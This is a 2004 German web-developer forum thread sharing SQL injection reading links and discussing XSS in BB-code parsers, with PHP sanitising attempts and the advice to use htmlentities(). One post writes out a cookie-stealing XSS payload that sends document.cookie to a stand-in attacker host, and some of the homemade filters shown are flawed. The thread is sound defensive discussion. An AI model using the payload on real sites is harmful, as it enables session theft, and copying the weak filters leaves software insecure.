Boardunity & Video Forum

Boardunity & Video Forum (https://boardunity.de/)
-   Boardunity-Talk (https://boardunity.de/boardunity-talk-f8.html)
-   -   SQL-Injection - Links (https://boardunity.de/sql-injection-links-t1710.html)

MaMo 15.04.2004 09:02

SQL-Injection - Links
 
Hi.

Da ich mich gerade damit befasse, bin ich über einige interessante Seiten zur SQL-Injection gestoßen. Wollte sie hier einfach mal aufschreiben, zum nachlesen. (Leider) bezieht sich das meiste auf PHP-Funktionen :(

Für alle die nicht wissen was SQL Injections sind: http://de.wikipedia.org/wiki/SQL_Injection

http://www.dclp-faq.de/q/q-sql-injection.html -> de.comp.lang.php.* FAQ (PHP)
http://www.securityfocus.com/infocus/1709 -> Security Focus
http://www.heise.de/security/artikel/43175 -> Heise Security
http://www.nukecops.com/postt14289.html -> NukeCops (PHP)
http://www.aspheute.com/artikel/20011030.htm -> ASP Heute Teil 1 (ASP)
http://www.aspheute.com/artikel/20011031.htm -> ASP Heute Teil 2 (ASP)

Hoffe Ihr könnt auch noch etwas beisteuern, evtl. wie Ihr es gemacht habt?!

MFG MaMo

Frederic Schneider 15.04.2004 09:35

Danke, hab ich endlich ne Sammlung die ich meinem Freund geben kann, der sich für interessiert =).

Frederic Schneider 15.04.2004 11:27

Zitat:

Zitat von ciruZ
Hm, ich versteh nicht, was einige fuer nen Aufstand darueber machen? Wenn man immer an mysql_real_escape_string / mysql_escape_string / addslashes denkt, hat man eigentlich kaum was zu befuerchten. Klar, XSS und Cookieklau bleibt, aber die SQL Injections ist man schonmal los.

... von den Funktionen bzw. Techniken wissen aber insg. nur wenige.

Björn 15.04.2004 11:28

Naja ich will gerne genau wissen was für fehler das sind, die ich habe und nicht nur wissen wie ich die verhinder.

was is mit XSS bzw cookieklau gemeint?
mfg

exe 15.04.2004 12:18

XSS steht für Cross Site Scripting. Das heisst Benutzer A schleust auf einer Seite beispielsweise ein JavaScript ein welches auf einer anderen Seite Benutzer B wieder angezeigt wird (z.B. über Posts oder PNs in denen HTML nicht entschärft wird). Das JavaScript kann dann bei Benutzer B ein Login Cookie oder eine Session ID klauen und Benutzer A übermitteln.
Das wäre die gewöhnlichste Angriffsmethode via XSS. Gibts in einem Browser Sicherheitslücken kann man durch einschleusen von Scripts wie JavaScript oder JScript natürlich noch viel mehr anstellen ;)
Die Lösung ist auch hier relativ einfach: Ausgaben müssen beispielsweise via htmlentities() entschärft werden und wenn man URL in einem Text verlinkt sollte man aufpassen das der reguläre Ausdruck der das bewerkstelligt nicht zufällig ein paar Anführungszeichen mit in den Link einbaut. Denn schon damit könnte man einfach Cookies klauen.
Ich sehe z.B. häufig Anfänger die [ url=...]...[/url] Tags folgendermaßen verlinken:

PHP-Code:

$text preg_replace('/\[url=(.*?)\](.*?)\[/url\]/i''<a href="\1">\2</a>'$text);[/url



Das Problem ist das man damit als URL einen beliebigen Text eingeben kann.
Angenommen ich schreibe folgenden Code:

Code:

[ url=" onMouseOver="document.location.href='http://angreifer.com/stealcookie.php?cookie=' + document.cookie]Danke für dein Cookie!
ergibt das folgenden Link:

Code:

<a href="" onMouseOver="document.location.href='http://angreifer.com/stealcookie.php?cookie=' + document.cookie">Danke für dein Cookie!</a>
Geht ein Benutzer dann mit der Maus über den Text gehört sein Cookie mir ...

Björn 15.04.2004 12:35

aha
naja glaub xss ab ich verstanden
wegen dem URL
ich hab das so gelöst, dass es so ähnlich wie bei web.de über eine jump.php geht und mit urlencode() bearbeitet wird
mfg

MaMo 16.04.2004 08:15

Zitat:

Zitat von ciruZ
Hm, ich versteh nicht, was einige fuer nen Aufstand darueber machen? Wenn man immer an mysql_real_escape_string / mysql_escape_string / addslashes denkt, hat man eigentlich kaum was zu befuerchten. Klar, XSS und Cookieklau bleibt, aber die SQL Injections ist man schonmal los.

Und was machen die non-PHP Programmierer?
MfG MaMo

Patrick Gotthardt 16.04.2004 08:44

Im Notfall die Wirkung dieser Funktionen "nachahmen", oder gucken, ob es sie nicht auch in ihrer Sprache gibt.

@exe: Herzlichen Danke. Dieses (riesige) Sicherheitsloch war mir bislang nicht bewusst.
Hmm... da hab ich viele Lücken dieser Art... (bei Links ohne Beschreibung [bei denen mit hab ich`s seltsamerweise richtig gemacht...], bei IMG-Tags... aber gut. Danke dir. :) )

Wenn ich die RegExp nun so umformuliere:
`\[url=((http://|ftp://|https://)?(.*?))\](.*?)\[/url\]`is
sollte das Problem nicht bestehen, oder?

Wie kann ich ansonsten verhindern, dass Javascript, o.ä., in mein Script gelangt?
Ich mache es immer so, dass der Anwender meines Scripts von sich aus HTML in Einträgen (welcher Art nun auch immer) HTML aktivieren kann. Da ich aber dennoch nicht will, dass jemand mit solchen Sachen, wie von exe beschrieben, durchkommt muss ich mir wohl etwas einfallen lassen, wie ich sie verhindern kann.
Wäre es sinnvoll, generell alle "onXYZ" zu entfernen? Sowie alles, was mit JavaScript/JScript in zusammenhang steht?

Patrick Gotthardt 16.04.2004 11:24

Danke dir. :)

Direkte Script- und Style-Bereiche habe ich bisher immer entfernt.

Ich mache das allerdings so:
PHP-Code:

$str preg_replace('`<(script|style)`''&lt;\\1'$str); 

Bei deiner Variante könnte ich aber immernoch Javascript einbinden. (über das href-Attribut)

Dagegen hab ich das hier versucht:
PHP-Code:

        $str preg_replace('`javascript`i''& #106;& #97;& #118;& #97;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
         
$str preg_replace('`vbscript`i''& #118;& #98;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
         
$str preg_replace('`about`i',     '& #97;& #98;& #111;& #117;& #116;'$str); 

Bin mir allerdings nicht sicher, ob das was bringt.

So... hab jetzt eine Funktion fertig:
PHP-Code:

<?php
      
function makeSave($str) {
          
// The display will not change, it`s only saver (and not handled like Javascript and those - I hope it... ^^")
        
$str preg_replace('`javascript`i''& #106;& #97;& #118;& #97;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
          
$str preg_replace('`vbscript`i''& #118;& #98;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
         
$str preg_replace('`about`i',     '& #97;& #98;& #111;& #117;& #116;'$str);
          
// Lets change on*****- and style-Attributes as well
          
$str preg_replace('`(on[ a-z]+|style)=`''\\1=');
          
// Also lets replace <script and <style, `cause those could destroy your complete layout
          
$str preg_replace('`<(script|style)`''&lt;\\1'$str);
          
// Ready? Ok. Return it.
          
return $str;    
      }
  
?>

Das müsste doch nun bewirken, dass der Funktionsname erhoffen lässt, oder? ^^"


Gibt es sonst noch risiken, die ich verringern muss?

Danke schonmal. :)

Patrick Gotthardt 16.04.2004 11:48

Ok. :)

1.) Wieso wird`s ganz ersetzt? Ich ersetze ja nur das "<" durch "&lt;".
2.) Ok. Ist ja wirklich einfacher. ^^"
3.) Wieso? Die Ausgabe ändert sich da nicht. ^^"

Patrick Gotthardt 16.04.2004 11:56

Ok. Danke dir. :)
Vorteil an der Variante ist sowieso, dass sie kürzer ist. ^^"

exe 16.04.2004 12:37

Ich mache das bei mir so das Texte wie Posts vor dem Parsen der BB-Codes mit htmlentities() behandelt werden. Das stellt sicher das alle Zeichen, für die es eine HTML-Entitie gibt (also auch Umlaute und Anführungszeichen) entsprechend ersetzt werden.
Wenn ich dann später URLs im Text suche oder BB-Codes parse fällt diese Fehlerquelle schonmal weg, ausserdem prüfe ich beispielsweise URLs zusätzlich noch auf korrekte Syntax.
Ich würde auch nicht spezifisch auf JavaScript losgehen und alle Script-Tags und Event Handler aus dem Text entfernen. Das macht viel zu viel Aufwand und übersehen kann man immer was.

Zitat:

Wenn ich die RegExp nun so umformuliere:
`\[ url=((http://|ftp://|https://)?(.*?))\](.*?)\[/url\]`is
sollte das Problem nicht bestehen, oder?
Doch, das bringt dir nichts.
Ich kann immernoch einen Link wie [ url=http://" onmouseover="...]klick mich[/url] angeben. Die sichere Variante ist das Format der URL vom ersten bis zum letzten Zeichen überprüfen oder unerlaubte Zeichen von vornerein via htmlentities() zu entschärfen. Sobald du einen Platzhalter wie (.*?) in deinem Ausdruck hast kann man beliebige Zeichen einschmuggeln.

exe 16.04.2004 16:44

Ich hab doch nichts anderes gesagt. htmlentities() ersetzt Zeichen durch ihre entsprechenden HTML-Entities so das sie normal angezeigt werden und keine Probleme im Text bereiten.
Oder auf was willst du hinaus?

exe 16.04.2004 20:44

Was meinst du bitte mit "HTML an haben"? Und was soll dann möglich sein?
Erklär dich mal bitte, ich versteh kein Wort von dem was du sagst ...

exe 17.04.2004 08:10

Ach so meinst du das ..
Nun, ich baue diese Funktion ("HTML aktivieren") nie in eine Software ein, weil ich sie ehrlich gesagt für Blödsinn halte. Ich habe einfach keine Lust für eine Funktion, die sowieso nur jemand benutzt der von Sicherheit keine Ahnung hat oder den sie nicht interessiert, unzählige potentielle Sicherheitslücken zu stopfen.
Wenn irgendwelche spezielle Darstellungen benötigt werden, wird dafür ein BB-Code zur Verfügung gestellt, fertig.
Würde ich die Möglichkeit, HTML zu aktivieren, zulassen, so würde ich auch dafür sorgen das keine Scriptinganweisungen in den Browser eingeschleust werden können.


Alle Zeitangaben in WEZ +1. Es ist jetzt 18:23 Uhr.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25